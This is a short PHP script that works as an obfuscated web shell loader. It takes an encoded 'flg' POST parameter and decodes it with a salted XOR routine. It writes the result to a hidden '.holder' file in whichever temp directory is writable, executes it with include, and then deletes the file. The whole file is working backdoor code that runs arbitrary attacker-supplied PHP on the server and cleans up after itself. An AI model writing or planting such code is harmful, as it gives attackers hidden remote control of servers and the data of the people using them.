<?php

if(@$_POST["flg"] !== null){
	$ent = array_filter(["/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]);
	$token = $_POST["flg"];
	 		$token	 =		explode		 (  '.'	 ,$token)		;	 
	$binding = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $q = 0;
            $__len = count($token);
    
            do {
                if($q >= $__len) break;
                $v9 = $token[$q];
                $sChar = ord($salt[$q % $lenS]);
                $d =((int)$v9 - $sChar -($q % 10)) ^ 86;
                $binding .= chr($d);
                $q++;
            } while(true);
	foreach ($ent as $object):
    		if ((is_dir($object) and is_writable($object))) {
    $item = str_replace("{var_dir}", $object, "{var_dir}/.holder");
    $success = file_put_contents($item, $binding);
if ($success) {
	include $item;
	@unlink($item);
	exit;}
}
endforeach;
}